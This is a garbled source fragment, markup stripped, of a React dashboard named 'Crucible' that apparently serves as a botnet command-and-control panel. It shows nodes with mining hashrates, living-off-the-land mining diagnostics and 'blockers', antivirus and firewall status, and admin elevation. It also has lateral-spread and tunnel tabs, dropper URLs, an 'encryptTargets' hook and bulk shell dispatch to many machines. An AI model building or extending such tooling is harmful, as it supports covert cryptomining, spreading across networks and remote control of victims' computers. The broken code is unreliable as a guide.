Reboot Pending {d.reboot_pending ? 'YES' : 'NO'}
); const fwIcon = (on?: boolean) => on ? ON : OFF; const RichPostureSummaryBlock = ({ d }: { d: RichPostureSummary }) => (
POSTURE REPORT {d.posture_score != null && ( = 70 ? 'rich-score-ok' : d.posture_score >= 40 ? 'rich-score-warn' : 'rich-score-bad'}`}> {d.posture_score} / 100 )}
Defender {d.defender_enabled ? 'ON' : 'OFF'}
Real-Time Prot {d.defender_rtp ? 'ON' : 'OFF'}
Firewall Domain/Priv/Pub {fwIcon(d.firewall_domain)} / {fwIcon(d.firewall_private)} / {fwIcon(d.firewall_public)}
AV Products {d.av_products?.join(', ') || '—'}
SSH Listening {d.ssh_listening ? 'YES' : 'NO'}
Agent Elevated {d.agent_elevated ? 'YES (ADMIN)' : 'no'}
{d.last_patch_days != null && (
Last Patch 60 ? 'rich-val-bad' : d.last_patch_days > 30 ? 'rich-val-warn' : 'rich-val-ok'}`}> {d.last_patch_days}d ago{d.pending_updates ? ` · ${d.pending_updates} pending` : ''} {d.reboot_pending ? ' · REBOOT!' : ''}
)}
{d.services && d.services.length > 0 && ( <>
SERVICES
{d.services.map((s, i) => ( ))}
SERVICESTATUSSTART
{s.display_name || s.name} {s.status.toUpperCase()} {s.start_type}
)}
); const RichMiningDiagnosticsBlock = ({ d }: { d: RichMiningDiagnostics }) => (
MINING DIAGNOSTICS {d.lotl_tier && } {d.active_method && {d.active_method}}
{d.execution_mode && (
Execution {d.execution_mode}
)} {(d.lotl_attempts?.length ?? 0) > 0 && ( )}
LIKELY BLOCKERS
{d.likely_blockers.length === 0 ? (
No blockers detected
) : (
    {d.likely_blockers.map((b, i) => (
  • {b}
  • ))}
)}
); const renderRichData = (d: RichTermData, lineAgentName?: string) => { if (d.type === 'listen_ports') return ; if (d.type === 'patch_status') return ; if (d.type === 'posture') return ; if (d.type === 'mining_diagnostics') return ; if (d.type === 'full_sys_check') { return ; } if (d.type === 'screenshot') return (
screenshot window.open(`data:image/png;base64,${d.b64}`, '_blank')} title="Click to open full size" />
); return null; }; // ── Render ───────────────────────────────────────────────────────────── return (

REMOTE OPERATIONS THEATER

Crucible

select nodes · group them · command them all at once

{selectedIds.size > 0 ? `${selectedIds.size} selected` : 'none selected'} {agents.filter(online).length} online / {agents.length} total
{selectedIds.size > 0 && ( )}
{reconHost && (
Recon spread target{' '}
{reconHostUnreachable ? (

Spread to unreachable host {reconHost} — no online agent on that IP. Pick a manual target or seed discover from the best online hop on the same subnet.

) : (

Pre-filtered roster for recon host {reconHost} {reconReachableAgent ? ` — ${reconReachableAgent.name} is online.` : '.'}

)} setManualSpreadHost(e.target.value)} /> {deployKit?.join_lane && (

Deploy kit lane: {deployKit.join_lane} {deployKit.matched_service ? ` (${deployKit.matched_service})` : ''} {deployKit.dropper_urls?.install_sh ? ( <> {' '} — install.sh ) : null}

)}
{reconSpreadMsg &&

{reconSpreadMsg}

} {spreadToHostResult?.recommended_command && (

Recommended: {spreadToHostResult.recommended_command} {spreadToHostResult.seed_agent_name ? ` via ${spreadToHostResult.seed_agent_name}` : ''}

)}
)} {agents.length > 0 && ( setSelectedIds(new Set(filteredAgents.map((a) => a.id)))} onBulkAction={handleBulkAction} onCreateGroup={() => setShowGroupModal(true)} bulkBusy={bulkBusy} /> )} setShowGroupModal(true)} />
{/* ── Node Roster ─────────────────────────────────────────────────── */}
NODE ROSTER
{agents.length === 0 ? (

No nodes registered. Forge a build and deploy it to your machines.

) : filteredAgents.length === 0 ? (

No nodes match filters.

) : ( <> {filteredAgents.length > ROSTER_PAGE_SIZE && (
{rosterPageSafe * ROSTER_PAGE_SIZE + 1}–{Math.min((rosterPageSafe + 1) * ROSTER_PAGE_SIZE, filteredAgents.length)} of {filteredAgents.length}
)}
{rosterSlice.map((a) => { const sel = selectedIds.has(a.id); const isOn = online(a); const ssh = sshStatus(a); const posture = postureStatus(a); const pg = primaryGroupForAgent(groups, a.id); const color = agentColor(a.id, allIds, pg?.color); return (
toggle(a.id)} >
{platformIcon(a.platform)} {a.name} {pg && ( {pg.name} )}
{a.platform ?? 'unknown'}{a.arch ? `·${a.arch}` : ''}
{(a.tags?.length ?? 0) > 0 && (
{a.tags!.map((t) => ( {t} ))}
)} {a.notes?.trim() && (
{a.notes.trim().slice(0, 60)}{a.notes.length > 60 ? '…' : ''}
)}
{a.ip || '—'}
{a.cpu_cores}c {a.gpu_miner_active && (a.gpu_hashrate_15m ?? 0) > 0 ? `GPU: ${formatHashrate(a.gpu_hashrate_15m ?? 0)}` : formatHashrate(a.hashrate_15m)}
{(() => { const cb = contingencyDepthBadge(a); return cb && (
{cb.label}
); })()} {(() => { const vb = vpcSeederBadge(a); return vb && (
{vb.label}
); })()}
{ssh.label}
{posture.label}
{posture.patch && (
{posture.patch.label}
)} {posture.ports && (
{posture.ports.label}
)} {(() => { const pb = pendingBadge(a); return pb && (
{pb.label}
); })()} {(() => { const rb = rebootBadge(a); return rb && (
{rb.label}
); })()} {a.agent_elevated && (
ADMIN
)} {(() => { const tb = thermalBadge(a); return tb && (
{tb.label}
); })()} {(() => { const db = diskBadge(a); return db && (
{db.label}
); })()} {(() => { const trb = throttleBadge(a); return trb && (
{trb.label}
); })()} {(() => { const db2 = dnsBadge(a); return db2 && (
{db2.label}
); })()}
{a.dns_servers && a.dns_servers.length > 0 && (
{a.dns_servers.slice(0, 2).join(' · ')} {a.dns_drifted && ⚠ DRIFT}
)} {a.services && a.services.length > 0 && (
{importantServices(a.services).map(svc => ( {svcDot(svc.status)} {svcLabel(svc)} ))}
)}
); })}
)}
{focusedAgent && ( )} {/* ── Focused machine banner ──────────────────────────────────────── */} {focusedAgent && (
▶ ACTIVE TARGET {platformIcon(focusedAgent.platform)} {focusedAgent.name} {focusedAgent.ip || '—'} {focusedAgent.status} {focusedAgent.platform ?? ''} {focusedAgent.arch ?? ''} {focusedAgent.cpu_cores}c · {focusedAgent.memory_gb}GB {focusedAgent.status !== 'online' && ( ⚠ offline — commands will fail until it reconnects )}
)} {focusedAgent && ( )} {/* ── Groups & Actions ────────────────────────────────────────────── */}
GROUPS

Named color subsets — click a chip to select all members for bulk commands.

{groups.length === 0 ? (

Select nodes, then Create group… to name and color them.

) : (
{groups.map((g) => (
activateGroup(g)} > {g.name} {g.agentIds.length} nodes
))}
)} {selectedIds.size > 0 && ( )}
OPERATIONS {selectedIds.size > 0 && ( → {selectedIds.size === 1 ? selectedAgents[0]?.name ?? '1 node' : `${selectedIds.size} nodes`} )}
{/* Tab selectors */}
{( [ { id: 'ops', label: 'OPERATIONS' }, { id: 'recon', label: 'INTEL & RECON' }, { id: 'files', label: 'FILE OPS' }, { id: 'spread', label: 'LATERAL / SPREAD' }, { id: 'tunnels', label: 'TUNNELS' }, ] as const ).map((t) => { const tabHelp: Record = { ops: 'crucible_tab_ops', recon: 'crucible_tab_recon', files: 'crucible_tab_files', spread: 'crucible_tab_spread', tunnels: 'crucible_tab_tunnels', }; return ( );})}
{ setTermLines((prev) => [ ...prev, { id: mkId(), agentId, agentName, isCmd: false, text: `[ERROR] ${action}: ${err instanceof Error ? err.message : String(err)}`, ts: new Date(), success: false, targeted: true, }, ]); }} onScanSelected={() => scanSelected()} onProbePosture={() => probePosture(selectedIds.size > 0 ? selectedAgents.filter(online) : agents.filter(online))} onProbeSSH={() => probeSSH()} onWakeSSH={() => wakeSSH()} onShellDispatch={(command) => { const cmd = command === 'ipconfig /all' ? (shellType === 'powershell' ? 'ipconfig /all' : 'ip addr') : command; dispatch(cmd, shellType); }} browseAgent={browseAgent} encryptTargets={encryptTargets} fmCommandResults={fmCommandResults} tunnelStatusMsg={tunnelStatusMsg} onDispatchTunnel={dispatchTunnelCommand} /> {/* ── Selection chips ──────────────────────────── */} {selectedIds.size > 0 && (
{selectedAgents.map((a) => { const color = agentColor(a.id, allIds); const ssh = sshStatus(a); return ( toggle(a.id)} title={`${a.ip ?? ''} · ${ssh.label}`} > {a.name} × ); })}
)}
{/* ── Terminal ────────────────────────────────────────────────────── */}
TERMINAL {selectedIds.size === 0 ? '— select nodes above —' : `→ ${selectedIds.size} node${selectedIds.size > 1 ? 's' : ''}: ${selectedAgents.slice(0, 3).map((a) => a.name).join(', ')}${selectedAgents.length > 3 ? ` +${selectedAgents.length - 3}` : ''}` }
{(['powershell', 'exec', 'sh'] as ShellType[]).map((s) => ( ))}
{termLines.length === 0 && (
Select nodes · type a command · press Enter
)} {termTruncated && (
… {termHidden} older lines hidden (CLEAR to reset)
)} {visibleTermLines.map((line) => { const color = agentColor(line.agentId, allIds); const dim = line.targeted === false; return (
{line.agentName.slice(0, 12).padEnd(12)} {line.isCmd ? '▶' : '◀'} {line.richData ? ( {renderRichData(line.richData, line.agentName)} ) : ( {line.text} )} {line.ts.toLocaleTimeString()}
); })}
[{shellType === 'powershell' ? 'PS' : shellType === 'exec' ? 'CMD' : 'SH'}]$ setCmd(e.target.value)} onKeyDown={handleKey} placeholder={selectedIds.size === 0 ? 'select a node first…' : 'command…'} disabled={busy || selectedIds.size === 0} spellCheck={false} autoComplete="off" />
setShowGroupModal(false)} onCreate={(name, color) => { addGroup(name, color, [...selectedIds]); setShowGroupModal(false); }} />
); }